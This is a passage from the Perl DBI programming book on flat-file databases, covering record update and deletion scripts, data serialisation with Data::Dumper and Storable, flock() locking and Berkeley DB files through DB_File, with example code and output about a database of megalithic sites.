    ### Skip the record if the site name doesn't match. (Redundant after the
    ### reliable pre-check above but kept for consistency with other examples.)
    next unless $siteName eq $name;

    ### We've found the record to update, so update the map ref value
    $mapref = $siteMapRef;

    ### Construct an updated record
    $_ = join( ":", $name, $location, $mapref, $type, $description );

}
continue {

   ### Write the record out to the temporary file
   print TMPMEGADATA $_
      or die "Error writing $tempFile: $!\n";
}

### Close the megalith input data file
close MEGADATA;

### Close the temporary megalith output data file
close TMPMEGADATA
   or die "Error closing $tempFile: $!\n";

### We now "commit" the changes by deleting the old file...
unlink $megalithFile
   or die "Can't delete old $megalithFile: $!\n";

### and renaming the new file to replace the old one.
rename $tempFile, $megalithFile
   or die "Can't rename '$tempFile' to '$megalithFile': $!\n";

exit 0;

You can see we've flexed our Perl muscles on this example, using a while ... continue loop to simplify the logic and adding a pretest for increased speed.

An equivalent program that can be applied to a fixed-length file is very similar, except that we use a faster in-place update to change the contents of the field. This principle is similar to the in-place query described previously: we don't need to unpack and repack all the fields stored within each record, but can simply update the appropriate chunk of each record. For example:

### Scan through all the records looking for the desired site
while ( <MEGADATA> ) {

    ### Quick pre-check for maximum performance:
    ### Skip the record if the site name doesn't appear at the start
    next unless m/^\Q$siteName/;

    ### Skip the record if the extracted site name field doesn't match
    next unless unpack( "A64", $_ ) eq $siteName;

    ### Perform in-place substitution to upate map reference field
    substr( $_, 64+64, 16) =  pack( "A16", $siteMapRef ) );

}

This technique is faster than packing and unpacking each record stored within the file, since it carries out the minimum amount of work needed to change the appropriate field values.

You may notice that the pretest in this example isn't 100% reliable, but it doesn't have to be. It just needs to catch most of the cases that won't match in order to pay its way by reducing the number of times the more expensive unpack and field test gets executed. Okay, this might not be a very convincing application of the idea, but we'll revisit it more seriously later in this chapter.

2.4.4. Deleting Data

The final form of data manipulation that you can apply to flat-file databases is the removal, or deletion, of records from the database. We shall process the file a record at a time by passing the data through a temporary file, just as we did for updating, rather than slurping all the data into memory and dumping it at the end.

With this technique, the action of removing a record from the database is more an act of omission than any actual deletion. Each record is read in from the file, tested, and written out to the file. When the record to be deleted is encountered, it is simply not written to the temporary file. This effectively removes all trace of it from the database, albeit in a rather unsophisticated way.

The following program can be used to remove the relevant record from the delimited megalithic database when given an argument of the name of the site to delete:

#!/usr/bin/perl -w
#
# ch02/deletemegadata/deletemegadata: Deletes the record for the given
#                                     megalithic site. Uses
#                                     colon-separated data
#

### Check the user has supplied an argument to scan for
###     1) The name of the file containing the data
###     2) The name of the site to delete
die "Usage: deletemegadata <data file> <site name>\n"
    unless @ARGV == 2;

my $megalithFile  = $ARGV[0];
my $siteName      = $ARGV[1];
my $tempFile      = "tmp.$$";

### Open the data file for reading, and die upon failure
open MEGADATA, "<$megalithFile"
    or die "Can't open $megalithFile: $!\n";

### Open the temporary megalith data file for writing
open TMPMEGADATA, ">$tempFile"
    or die "Can't open temporary file $tempFile: $!\n";

### Scan through all the entries for the desired site
while ( <MEGADATA> ) {

    ### Extract the site name (the first field) from the record
    my ( $name ) = split( /:/, $_ );

    ### Test the sitename against the record's name
    if ( $siteName eq $name ) {

        ### We've found the record to delete, so skip it and move to next record
        next;
    }

    ### Write the original record out to the temporary file
    print TMPMEGADATA $_
        or die "Error writing $tempFile: $!\n";
    }

### Close the megalith input data file
close MEGADATA;

### Close the temporary megalith output data file
close TMPMEGADATA
    or die "Error closing $tempFile: $!\n";

### We now "commit" the changes by deleting the old file ...
unlink $megalithFile
    or die "Can't delete old $megalithFile: $!\n";

### and renaming the new file to replace the old one.
rename $tempFile, $megalithFile
    or die "Can't rename '$tempFile' to '$megalithFile': $!\n";

exit 0;

The code to remove records from a fixed-length data file is almost identical. The only change is in the code to extract the field value, as you'd expect:

### Extract the site name (the first field) from the record
my ( $name ) = unpack( "A64", $_ );

Like updating, deleting data may cause problems if multiple users are attempting to make simultaneous changes to the data. We'll look at how to deal with this problem a little later in this chapter.

Previous | Home | Next
2.3. Standing Stones and the Sample Database | Book Index | 2.5. Putting Complex Data into Flat Files
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Putting Complex Data into Flat Files (Programming the Perl DBI)

 Programming the Perl DBISearch this book

2.5. Putting Complex Data into Flat Files

In our discussions of so-called "flat files" we've so far been storing, retrieving, and manipulating only that most basic of datatypes: the humble string. What can you do if you want to store more complex data, such as lists, hashes, or deeply nested data structures using references?

The answer is to convert whatever it is you want to store into a string. Technically that's known as marshalling or serializing the data. The Perl Module List[11] has a section that lists several Perl modules that implement data marshalling.

[11]The Perl Module List can be found at http://www.perl.com/CPAN/.

We're going to take a look at two of the most popular modules, Data::Dumper and Storable, and see how we can use them to put some fizz into our flat files. These techniques are also applicable to storing complex Perl data structures in relational databases using the DBI, so pay attention.

2.5.1. The Perl Data::Dumper Module

The Data::Dumper module takes a list of Perl variables and writes their values out in the form of Perl code, which will recreate the original values, no matter how complex, when executed.

This module allows you to dump the state of a Perl program in a readable form quickly and easily. It also allows you to restore the program state by simply executing the dumped code using eval() or do().

The easiest way to describe what happens is to show you a quick example:

#!/usr/bin/perl -w
#
# ch02/marshal/datadumpertest: Creates some Perl variables and dumps them out.
#                              Then, we reset the values of the variables and
#                              eval the dumped ones ...

use Data::Dumper;

### Customise Data::Dumper's output style
### Refer to Data::Dumper documentation for full details
if ($ARGV[0] eq 'flat') {
    $Data::Dumper::Indent = 0;
    $Data::Dumper::Useqq  = 1;
}
$Data::Dumper::Purity = 1;

### Create some Perl variables
my $megalith  = 'Stonehenge';
my $districts = [ 'Wiltshire', 'Orkney', 'Dorset' ];
### Print them out
print "Initial Values: \$megalith  = " . $megalith . "\n" .
      "                \$districts = [ ". join(", ", @$districts) . " ]\n\n";

### Create a new Data::Dumper object from the database
my $dumper = Data::Dumper->new( [    $megalith, $districts  ],
                                [ qw( megalith  districts ) ] );

### Dump the Perl values out into a variable
my $dumpedValues = $dumper->Dump();

### Show what Data::Dumper has made of the variables!
print "Perl code produced by Data::Dumper:\n";
print $dumpedValues . "\n";

### Reset the variables to rubbish values
$megalith = 'Blah! Blah!';
$districts = [ 'Alderaan', 'Mordor', 'The Moon' ];

### Print out the rubbish values
print "Rubbish Values: \$megalith  = " . $megalith . "\n" .
      "                \$districts = [ ". join(", ", @$districts) . " ]\n\n";

### Eval the file to load up the Perl variables
eval $dumpedValues;
die if $@;

### Display the re-loaded values
print "Re-loaded Values: \$megalith  = " . $megalith . "\n" .
      "                  \$districts = [ ". join(", ", @$districts) . " ]\n\n";

exit;

This example simply initializes two Perl variables and prints their values. It then creates a Data::Dumper object with those values, changes the original values, and prints the new ones just to prove we aren't cheating. Finally, it evals the results of $dumper->Dump(), which stuffs the original stored values back into the variables. Again, we print it all out just to doubly convince you there's no sleight-of-hand going on:

Initial Values: $megalith  = Stonehenge
                $districts = [ Wiltshire, Orkney, Dorset ]

Perl code produced by Data::Dumper:
$megalith = 'Stonehenge';
$districts = [
           'Wiltshire',
           'Orkney',
           'Dorset'
         ];

Rubbish Values: $megalith  = Blah! Blah!
                $districts = [ Alderaan, Mordor, The Moon ]
Re-loaded Values: $megalith  = Stonehenge
                  $districts = [ Wiltshire, Orkney, Dorset ]

So how do we use Data::Dumper to add fizz to our flat files? Well, first of all we have to ask Data::Dumper to produce flat output, that is, output with no newlines. We do that by setting two package global variables:

$Data::Dumper::Indent = 0;  # don't use newlines to layout the output
$Data::Dumper::Useqq  = 1;  # use double quoted strings with "\n" escapes

In our test program, we can do that by running the program with flat as an argument. Here's the relevant part of the output when we do that:

$megalith = "Stonehenge";$districts = ["Wiltshire","Orkney","Dorset"];

Now we can modify our previous scan (select), insert, update, and delete scripts to use Data::Dumper to format the records instead of the join() or pack() functions we used before. Instead of split() or unpack() , we now use eval to unpack the records.

Here's just the main loop of the update script we used earlier (the rest of the script is unchanged except for the addition of a use Data::Dumper; line at the top and setting the Data::Dumper variables as described above):

### Scan through all the entries for the desired site
while ( <MEGADATA> ) {

    ### Quick pre-check for maximum performance:
    ### Skip the record if the site name doesn't appear
    next unless m/\Q$siteName/;

    ### Evaluate perl record string to set $fields array reference
    my $fields;
    eval $_;
    die if $@;

    ### Break up the record data into separate fields
    my ( $name, $location, $mapref, $type, $description ) = @$fields;

    ### Skip the record if the extracted site name field doesn't match
    next unless $siteName eq $name;

    ### We've found the record to update
    ### Create a new fields array with new map ref value
    $fields = [ $name, $location, $siteMapRef, $type, $description ];

    ### Convert it into a line of perl code encoding our record string
    $_ = Data::Dumper->new( [ $fields ], [ 'fields' ] )->Dump();
    $_ .= "\n";

}

So, what have we gained by doing this? We avoid the tedious need to explicitly escape field delimiter characters. Data::Dumper does that for us, and there are no fixed-width field length restrictions either.

The big win, though, is the ability to store practically any complex data structure, even object references. There are also some smaller benefits that may be of use to you: undefined (null ) field values can be saved and restored, and there's no need for every record to have every field defined (variant records).

The downside? There's always a downside. In this case, it's mainly the extra processing time required both to dump the record data into the strings and for Perl to eval them back again. There is a version of the Data::Dumper module written in C that's much faster, but sadly it doesn't support the $Useqq variable yet. To save time processing each record, the example code has a quick precheck that skips any rows that don't at least have the desired site name somewhere in them.

There's also the question of security. Because we're using eval to evaluate the Perl code embedded in our data file, it's possible that someone could edit the data file and add code that does something else, possibly harmful. Fortunately, there's a simple fix for this. The Perl ops pragma can be used to restrict the eval to compiling code that contains only simple declarations. For more information on this, see the ops documentation installed with Perl:

perldoc ops

2.5.2. The Storable Module

In addition to Data::Dumper, there are other data marshalling modules available that you might wish to investigate, including the fast and efficient Storable.

The following code takes the same approach as the example we listed for Data::Dumper to show the basic store and retrieve cycle:

#!/usr/bin/perl -w
#
# ch02/marshal/storabletest: Create a Perl hash and store it externally. Then,
#                            we reset the hash and reload the saved one.

use Storable qw( freeze thaw );

### Create some values in a hash
my $megalith = {
    'name' => 'Stonehenge',
    'mapref' => 'SU 123 400',
    'location' => 'Wiltshire',
};

### Print them out
print "Initial Values:   megalith = $megalith->{name}\n" .
      "                  mapref   = $megalith->{mapref}\n" .
      "                  location = $megalith->{location}\n\n";

### Store the values to a string
my $storedValues = freeze( $megalith );

### Reset the variables to rubbish values
$megalith = {
    'name' => 'Flibble Flabble',
    'mapref' => 'XX 000 000',
    'location' => 'Saturn',
};

### Print out the rubbish values
print "Rubbish Values:   megalith = $megalith->{name}\n" .
      "                  mapref   = $megalith->{mapref}\n" .
      "                  location = $megalith->{location}\n\n";

### Retrieve the values from the string
$megalith = thaw( $storedValues );

### Display the re-loaded values
print "Re-loaded Values: megalith = $megalith->{name}\n" .
      "                  mapref   = $megalith->{mapref}\n" .
      "                  location = $megalith->{location}\n\n";

exit;

This program generates the following output, which illustrates that we are storing data persistently then retrieving it:

Initial Values:   megalith = Stonehenge
                  mapref   = SU 123 400
                  location = Wiltshire

Rubbish Values:   megalith = Flibble Flabble
                  mapref   = XX 000 000
                  location = Saturn

Re-loaded Values: megalith = Stonehenge
                  mapref   = SU 123 400
                  location = Wiltshire

Storable also has functions to write and read your data structures directly to and from disk files. It can also be used to write to a file cumulatively instead of writing all records in one atomic operation.

So far, all this sounds very similar to Data::Dumper, so what's the difference? In a word, speed. Storable is fast, very fast -- both for saving data and for getting it back again. It achieves its speed partly by being implemented in C and hooked directly into the Perl internals, and partly by writing the data in its own very compact binary format.

Here's our update program reimplemented yet again, this time to use Storable:

#!/usr/bin/perl -w
#
# ch02/marshal/update_storable: Updates the given megalith data file
#                               for a given site. Uses Storable data
#                               and updates the map reference field.

use Storable qw( nfreeze thaw );

### Check the user has supplied an argument to scan for
###     1) The name of the file containing the data
###     2) The name of the site to search for
###     3) The new map reference
die "Usage: updatemegadata <data file> <site name> <new map reference>\n"
    unless @ARGV == 3;

my $megalithFile = $ARGV[0];
my $siteName     = $ARGV[1];
my $siteMapRef   = $ARGV[2];
my $tempFile     = "tmp.$$";

### Open the data file for reading, and die upon failure
open MEGADATA, "<$megalithFile"
    or die "Can't open $megalithFile: $!\n";

### Open the temporary megalith data file for writing
open TMPMEGADATA, ">$tempFile"
    or die "Can't open temporary file $tempFile: $!\n";

### Scan through all the entries for the desired site
while ( <MEGADATA> ) {

    ### Convert the ASCII encoded string back to binary
    ### (pack ignores the trailing newline record delimiter)
    my $frozen = pack "H*", $_;

    ### Thaw the frozen data structure
    my $fields = thaw( $frozen );

    ### Break up the record data into separate fields
    my ( $name, $location, $mapref, $type, $description ) = @$fields;

    ### Skip the record if the extracted site name field doesn't match
    next unless $siteName eq $name;

    ### We've found the record to update
    ### Create a new fields array with new map ref value
    $fields = [ $name, $location, $siteMapRef, $type, $description ];

    ### Freeze the data structure into a binary string
    $frozen = nfreeze( $fields );

    ### Encode the binary string as readable ASCII and append a newline
    $_ = unpack( "H*", $frozen ) . "\n";

}
continue {

    ### Write the record out to the temporary file
    print TMPMEGADATA $_
        or die "Error writing $tempFile: $!\n";
}

### Close the megalith input data file
close MEGADATA;

### Close the temporary megalith output data file
close TMPMEGADATA
    or die "Error closing $tempFile: $!\n";

### We now "commit" the changes by deleting the old file...
unlink $megalithFile
    or die "Can't delete old $megalithFile: $!\n";

### and renaming the new file to replace the old one.
rename $tempFile, $megalithFile
    or die "Can't rename '$tempFile' to '$megalithFile': $!\n";

exit 0;

Since the Storable format is binary, we couldn't simply write it directly to our flat file. It would be possible for our record-delimiter character ("\n") to appear within the binary data, thus corrupting the file. We get around this by encoding the binary data as a string of pairs of hexadecimal digits.

You may have noticed that we've used nfreeze() instead of freeze() . By default, Storable writes numeric data in the fastest, simplest native format. The problem is that some computer systems store numbers in a different way from others. Using nfreeze() instead of freeze() ensures that numbers are written in a form that's portable to all systems.

You may also be wondering what one of these records looks like. We'll here's the record for the Castlerigg megalithic site:

0302000000050a0a436173746c6572696767580a0743756d62726961580a0a4e59203239312032
3336580a0c53746f6e6520436972636c65580aa34f6e65206f6620746865206c6f76656c696573
742073746f6e6520636972636c65732072656d61696e696e6720746f6461792e20546869732073
69746520697320636f6d707269736564206f66206c6172676520726f756e64656420626f756c64
657273207365742077697468696e2061206e61747572616c20616d706869746865617472652066
6f726d656420627920737572726f756e64696e672068696c6c732e5858

That's all on one line in the data file; we've just split it up here to fit on the page. It doesn't make for thrilling reading. It also doesn't let us do the kind of quick precheck shortcut that we used with Data::Dumper and the previous flat-file update examples. We could apply the pre-check after converting the hex string back to binary, but there's no guarantee that strings appear literally in the Storable output. They happen to now, but there's always a risk that this will change.

Although we've been talking about Storable in the context of flat files, this technique is also very useful for storing arbitrary chunks of Perl data into a relational database, or any other kind of database for that matter. Storable and Data::Dumper are great tools to carry in your mental toolkit.

2.5.3. Summary of Flat-File Databases

The main benefit of using flat-file databases for data storage is that they can be fast to implement and fast to use on small and straightforward datasets, such as our megalithic database or a Unix password file.

The code to query, insert, delete, and update information in the database is also extremely simple, with the parsing code potentially shared among the operations. You have total control over the data file formats, so that there are no situations outside your control in which the file format or access API changes. The files are also easy to read in standard text editors (although in the case of the Storable example, they won't make very interesting reading).

The downsides of these databases are quite apparent. As we've mentioned already, the lack of concurrent access limits the power of such systems in a multi-user environment. They also suffer from scalability problems due to the sequential nature of the search mechanism. These limitations can be coded around (the concurrent access problem especially so), but there comes a point where you should seriously consider the use of a higher-level storage manager such as DBM files. DBM files also give you access to indexed data and allow nonsequential querying.

Before we discuss DBM files in detail, the following sections give you examples of more sophisticated management tools and techniques, as well as a method of handling concurrent users.

Previous | Home | Next
2.4. Flat-File Databases | Book Index | 2.6. Concurrent Database Access and Locking
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Concurrent Database Access and Locking (Programming the Perl DBI)

 Programming the Perl DBISearch this book

2.6. Concurrent Database Access and Locking

Before we start looking at DBM file storage management, we should discuss the issues that were flagged earlier regarding concurrent access to flat-file databases, as these problems affect all relatively low-level storage managers.

The basic problem is that concurrent access to files can result in undefined, and generally wrong, data being stored within the data files of a database. For example, if two users each decided to delete a row from the megalith database using the program shown in the previous section, then during the deletion phase, both users would be operating on the original copy of the database. However, whichever user's deletion finished first would be overwritten as the second user's deletion copied their version of the database over the first user's deletion. The first user's deletion would appear to have been magically restored. This problem is known as a race condition and can be very tricky to detect as the conditions that cause the problem are difficult to reproduce.

To avoid problems of multiple simultaneous changes, we need to somehow enforce exclusive access to the database for potentially destructive operations such as the insertion, updating, and deletion of records. If every program accessing a database were simply read-only, this problem would not appear, since no data would be changed. However, if any script were to alter data, the consistency of all other processes accessing the data for reading or writing could not be guaranteed.

One way in which we can solve this problem is to use the operating system's file-locking mechanism, accessed by the Perl flock() function. flock() implements a cooperative system of locking that must be used by all programs attempting to access a given file if it is to be effective. This includes read-only scripts, such as the query script listed previously, which can use flock() to test whether or not it is safe to attempt a read on the database.

The symbolic constants used in the following programs are located within the Fcntl package and can be imported into your scripts for use with flock() with the following line:

use Fcntl ':flock';

flock() allows locking in two modes: exclusive and shared (also known as non-exclusive). When a script has an exclusive lock, only that script can access the files of the database. Any other script wishing access to the database will have to wait until the exclusive lock is released before its lock request is granted. A shared lock, on the other hand, allows any number of scripts to simultaneously access the locked files, but any attempts to acquire an exclusive lock will block.[12]

[12]Users of Perl on Windows 95 may not be surprised to know that the flock() function isn't supported on that system. Sorry. You may be able to use a module like LockFile::Simple instead.

For example, the querying script listed in the previous section could be enhanced to use flock() to request a shared lock on the database files, in order to avoid any read-consistency problems if the database was being updated, in the following way:

### Open the data file for reading, and die upon failure
open MEGADATA, $ARGV[0] or die "Can't open $ARGV[0]: $!\n";

print "Acquiring a shared lock...";
flock( MEGADATA, LOCK_SH )
        or die "Unable to acquire shared lock: $!. Aborting";
print "Acquired lock. Ready to read database!\n\n";

This call to flock() will block the script until any exclusive locks have been relinquished on the requested file. When that occurs, the querying script will acquire a shared lock and continue on with its query. The lock will automatically be released when the file is closed.

Similarly, the data insertion script could be enhanced with flock() to request an exclusive lock on the data file prior to operating on that file. We also need to alter the mode in which the file is to be opened. This is because we must open the file for writing prior to acquiring an exclusive lock.

Therefore, the insert script can be altered to read:

### Open the data file for appending, and die upon failure
open MEGADATA, "+>>$ARGV[0]"
    or die "Can't open $ARGV[0] for appending: $!\n";

print "Acquiring an exclusive lock...";
flock( MEGADATA, LOCK_EX )
        or die "Unable to acquire exclusive lock: $!. Aborting";
print "Acquired lock. Ready to update database!\n\n";

which ensures that no data alteration operations will take place until an exclusive lock has been acquired on the data file. Similar enhancements should be added to the deletion and update scripts to ensure that no scripts will ``cheat'' and ignore the locking routines.

This locking system is effective on all storage management systems that require some manipulation of the underlying database files and have no explicit locking mechanism of their own. We will be returning to locking during our discussion of the Berkeley Database Manager system, as it requires a slightly more involved strategy to get a filehandle on which to use flock().

As a caveat, flock() might not be available on your particular operating system. For example, it works on Windows NT/2000 systems, but not on Windows 95/98. Most, if not all, Unix systems support flock() without any problems.

Previous | Home | Next
2.5. Putting Complex Data into Flat Files | Book Index | 2.7. DBM Files and the BerkeleyDatabase Manager
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


DBM Files and the BerkeleyDatabase Manager (Programming the Perl DBI)

 Programming the Perl DBISearch this book

2.7. DBM Files and the BerkeleyDatabase Manager

DBM files are a storage management layer that allows programmers to store information in files as pairs of strings, a key, and a value. DBM files are binary files and the key and value strings can also hold binary data.

There are several forms of DBM files, each with its own strengths and weaknesses. Perl supports the ndbm , db , gdbm , sdbm , and odbm managers via the NDBM_File , DB_File , GDBM_File , SDBM_File , and ODBM_File extensions. There's also an AnyDBM_File module that will simply use the best available DBM. The documentation for the AnyDBM_File module includes a useful table comparing the different DBMs.

These extensions all associate a DBM file on disk with a Perl hash variable (or associative array ) in memory.[13] The simple look like a hash programming interface lets programmers store data in operating system files without having to consider how it's done. It just works.

[13]DBM files are implemented by library code that's linked into the Perl extensions. There's no separate server process involved.

Programmers store and fetch values into and out of the hash, and the underlying DBM storage management layer will look after getting them on and off the disk.

In this section, we shall discuss the most popular and sophisticated of these storage managers, the Berkeley Database Manager, also known as the Berkeley DB. This software is accessed from Perl via the DB_File and Berkeley DB extensions. On Windows systems, it can be installed via the Perl package manager, ppm. On Unix systems, it is built by default when Perl is built only if the Berkeley DB library has already been installed on your system. That's generally the case on Linux, but on most other systems you may need to fetch and build the Berkeley DB library first.[14]

[14]Version 1 of Berkeley DB is available from http://www.perl.com/CPAN/src/misc/db.1.86.tar.gz. The much improved Version 2 (e.g., db.2.14.tar.gz) is also available, but isn't needed for our examples and is only supported by recent Perl versions. Version 3 is due out soon. See www.sleepycat.com.

In addition to the standard DBM file features, Berkeley DB and the DB_File module also provide support for several different storage and retrieval algorithms that can be used in subtly different situations. In newer versions of the software, concurrent access to databases and locking are also supported.

2.7.1. Creating a New Database

Prior to manipulating data within a Berkeley database, either a new database must be created or an existing database must be opened for reading. This can be done by using one of the following function calls:

tie %hash,  'DB_File', $filename, $flags, $mode, $DB_HASH;
tie %hash,  'DB_File', $filename, $flags, $mode, $DB_BTREE;
tie @array, 'DB_File', $filename, $flags, $mode, $DB_RECNO;

The final parameter of this call is the interesting one, as it dictates the way in which the Berkeley DB will store the data in the database file. The behavior of these parameters is as follows:

  • DB_HASH is the default behavior for Berkeley DB databases. It stores the data according to a hash value computed from the string specified as the key itself. Hashtables are generally extremely fast, in that by simply applying the hash function to any given key value, the data associated with that key can be located in a single operation. This is much faster than sequential scanning. However, hashtables provide no useful ordering of the data by default, and hashtable performance can begin to degrade when several keys have identical hash key values. This results in several items of data being attached to the same hash key value, which results in slower access times.

  • With the DB_BTREE format, Berkeley DB files are stored in the form of a balanced binary tree. The B-tree storage technique will sort the keys that you insert into the Berkeley DB, the default being to sort them in lexical order. If you desire, you can override this behavior with your own sorting algorithms.

  • The DB_RECNO format allows you to store key/value pairs in both fixed-length and variable-length textual flat files. The key values in this case consist of a line number, i.e., the number of the record within the database.

When initializing a new or existing Berkeley DB database for use with Perl, use the tie mechanism defined within Perl to associate the actual Berkeley DB with either a hash or a standard scalar array. By doing this, we can simply manipulate the Perl variables, which will automatically perform the appropriate operations on the Berkeley DB files instead of us having to manually program the Berkeley DB API ourselves.

For example, to create a simple Berkeley DB, we could use the following Perl script:

#!/usr/bin/perl -w
#
# ch02/DBM/createdb: Creates a Berkeley DB

use strict;

use DB_File;

my  %database;
tie %database, 'DB_File', "createdb.dat"
    or die "Can't initialize database: $!\n";

untie %database;

exit;

If you now look in the directory in which you ran this script, you should hopefully find a new file called createdb.dat. This is the disk image of your Berkeley database, i.e., your data stored in the format implemented by the Berkeley DB storage manager. These files are commonly referred to as DBM files.

In the example above, we simply specified the name of the file in which the database is to be stored and then ignored the other arguments. This is a perfectly acceptable thing to do if the defaults are satisfactory. The additional arguments default to the values listed in Table 2-1.

Table 2-1. The Default Argument Values of DB_File

Argument | Default Value
$filename | undef [15]
$flags | O_CREAT | O_RDWR
$mode | 0666
$storage_type | $DB_HASH

[15]If the filename argument is specified as undef, the database will be created in-memory only. It still behaves as if written to file, although once the program exits, the database will no longer exist.

The $flags argument takes the values that are associated with the standard Perl sysopen() function, and the $mode argument takes the form of the octal value of the file permissions that you wish the DBM file to be created with. In the case of the default value, 0666, the corresponding Unix permissions will be:

-rw-rw-rw-

That is, the file is user, group, and world readable and writeable.[16] You may wish to specify more strict permissions on your DBM files to be sure that unauthorized users won't tamper with them.

[16] We are ignoring any modifications to the permissions that umask may make.

Other platforms such as Win32 differ, and do not necessarily use a permission system. On these platforms, the permission mode is simply ignored.

Given that creating a new database is a fairly major operation, it might be worthwhile to implement an exclusive locking mechanism that protects the database files while the database is initially created and loaded. As with flat-file databases, the Perl flock() call should be used to perform file-level locking, but there are some differences between locking standard files and DBM files.

2.7.2. Locking Strategies

The issues of safe access to databases that plagued flat-file databases still apply to Berkeley databases. Therefore, it is a good idea to implement a locking strategy that allows safe multi-user access to the databases, if this is required by your applications.

The way in which flock() is used regarding DBM files is slightly different than that of locking standard Perl filehandles, as there is no direct reference to the underlying filehandle when we create a DBM file within a Perl script.

Fortunately, the DB_File module defines a method that can be used to locate the underlying file descriptor for a DBM file, allowing us to use flock() on it. This can be achieved by invoking the fd() method on the object reference returned from the database initialization by tie(). For example:

### Create the new database ...
$db = tie %database, 'DB_File', "megaliths.dat"
    or die "Can't initialize database: $!\n";

### Acquire the file descriptor for the DBM file
my $fd = $db->fd();

### Do a careful open() of that descriptor to get a Perl filehandle
open DATAFILE, "+<&=$fd" or die "Can't safely open file: $!\n";

### And lock it before we start loading data ...
print "Acquiring an exclusive lock...";
flock( DATAFILE, LOCK_EX )
        or die "Unable to acquire exclusive lock: $!. Aborting";
print "Acquired lock. Ready to update database!\n\n";

This code looks a bit gruesome, especially with the additional call to open(). It is written in such a way that the original file descriptor being currently used by the DBM file when the database was created is not invalidated. What actually occurs is that the file descriptor is associated with the Perl filehandle in a nondestructive way. This then allows us to flock() the filehandle as per usual.

However,after having written this description and all the examples using this standard documented way to lock Berkeley DBM files, it has been discovered that there is a small risk of data corruption during concurrent access. To make a long story short, the DBM code reads some of the file when it first opens it, before you get a chance to lock it. That's the problem.

There is a quick fix if your system supports the O_EXLOCK flag, as FreeBSD does and probably most Linux versions do. Just add the O_EXLOCK flag to the tie :

use Fcntl;    # import O_EXLOCK, if available
$db = tie %database, 'DB_File', "megaliths.dat", O_EXLOCK;

For more information, and a more general workaround, see:

http://www.xray.mpe.mpg.de/mailing-lists/perl5-porters/1999-09/msg00954.html

and the thread of messages that follows it.

2.7.3. Inserting and Retrieving Values

Inserting data into a Berkeley DB using the Perl DB_File module is extremely simple as a result of using a tied hash or tied array . The association of a DBM file and a Perl data structure is created when the database is opened. This allows us to manipulate the contents of the database simply by altering the contents of the Perl data structures.

This system makes it very easy to store data within a DBM file and also abstracts the actual file-related operations for data manipulation away from our scripts. Thus, the Berkeley DB is a higher-level storage manager than the simple flat-file databases discussed earlier in this chapter.

The following script demonstrates the insertion and retrieval of data from a DBM file using a tied hash. This hash has the Perl characteristic of being a key/value pair. That is, values are stored within the hash table against a unique key. This affords extremely fast retrieval and an element of indexed data access as opposed to sequential access. For example:

#!/usr/bin/perl -w
#
# ch02/DBM/simpleinsert: Creates a Berkeley DB, inserts some test data
#                        and dumps it out again

use DB_File;
use Fcntl ':flock';

### Initialize the Berkeley DB
my %database;
my $db = tie %database, 'DB_File', "simpleinsert.dat",
         O_CREAT | O_RDWR, 0666
    or die "Can't initialize database: $!\n";

my $fd = $db->fd();
open DATAFILE, "+<&=$fd"
    or die "Can't safely open file: $!\n";
print "Acquiring exclusive lock...";
flock( DATAFILE, LOCK_EX )
    or die "Unable to acquire lock: $!. Aborting";
print "Acquired lock. Ready to update database!\n\n";

### Insert some data rows
$database{'Callanish I'} =
    "This site, commonly known as the "Stonehenge of the North" is in the
form of a buckled Celtic cross.";

$database{'Avebury'} =
    "Avebury is a vast, sprawling site that features, amongst other marvels,
the largest stone circle in Britain. The henge itself is so large,
it almost completely surrounds the village of Avebury.";
$database{'Lundin Links'} =
    "Lundin Links is a megalithic curiosity, featuring 3 gnarled and
immensely tall monoliths arranged possibly in a 4-poster design.
Each monolith is over 5m tall.";

### Untie the database
undef $db;
untie %database;

### Close the file descriptor to release the lock
close DATAFILE;

### Retie the database to ensure we're reading the stored data
$db = tie %database, 'DB_File', "simpleinsert.dat", O_RDWR, 0444
    or die "Can't initialize database: $!\n";

### Only need to lock in shared mode this time because we're not updating ...
$fd = $db->fd();
open DATAFILE, "+<&=$fd" or die "Can't safely open file: $!\n";
print "Acquiring shared lock...";
flock( DATAFILE, LOCK_SH )
    or die "Unable to acquire lock: $!. Aborting";
print "Acquired lock. Ready to read database!\n\n";

### Dump the database
foreach my $key ( keys %database ) {
    print "$key\n", ( "=" x ( length( $key ) + 1 ) ), "\n\n";
    print "$database{$key}\n\n";
}

### Close the Berkeley DB
undef $db;
untie %database;

### Close the file descriptor to release the lock
close DATAFILE;

exit;

When run, this script will generate the following output, indicating that it is indeed retrieving values from a database:

Acquiring exclusive lock...Acquired lock. Ready to update database!

Acquiring shared lock...Acquired lock. Ready to read database!

Callanish I
============

This site, commonly known as the "Stonehenge of the North" is in the
form of a buckled Celtic cross.

Avebury
========

Avebury is a vast, sprawling site that features, amongst other marvels,
the largest stone circle in Britain. The henge itself is so large,
it almost completely surrounds the village of Avebury.

Lundin Links
=============

Lundin Links is a megalithic curiosity, featuring 3 gnarled and
immensely tall monoliths arranged possibly in a 4-poster design.
Each monolith is over 5m tall.

You may have noticed that we cheated a little bit in the previous example. We stored only the descriptions of the sites instead of all the information such as the map reference and location. This is the inherent problem with key/value pair databases: you can store only a single value against a given key. You can circumvent this by simply concatenating values into a string and storing that string instead, just like we did using join(), pack(), Data::Dumper, and Storable earlier in this chapter.

This particular form of storage jiggery-pokery can be accomplished in at least two ways.[17] One is to hand-concatenate the data into a string and hand-split it when required. The other is slightly more sophisticated and uses a Perl object encapsulating a megalith to handle, and hide, the packing and unpacking.

[17]As with all Perl things, There's More Than One Way To Do It (a phrase so common with Perl you'll often see it written as TMTOWTDI). We're outlining these ideas here because they dawned on us first. You might come up with something far more outlandish and obscure, or painfully obvious. Such is Perl.

2.7.3.1. Localized storage and retrieval

The first technique -- application handling of string joins and splits -- is certainly the most self-contained. This leads us into a small digression.

Self-containment can be beneficial, as it tends to concentrate the logic of a script internally, making things slightly more simple to understand. Unfortunately, this localization can also be a real pain. Take our megalithic database as a good example. In the previous section, we wrote four different Perl scripts to handle the four main data manipulation operations. With localized logic, you're essentially implementing the same storing and extraction code in four different places.

Furthermore, if you decide to change the format of the data, you need to keep four different scripts in sync. Given that it's also likely that you'll add more scripts to perform more specific functions (such as generating web pages) with the appropriate megalithic data from the database, that gives your database more points of potential failure and inevitable corruption.

Getting back to the point, we can fairly simply store complex data in a DBM file by using either join( ) , to create a delimited string, or pack( ) , to make a fixed-length record. join( ) can be used in the following way to produce the desired effect:

### Insert some data rows
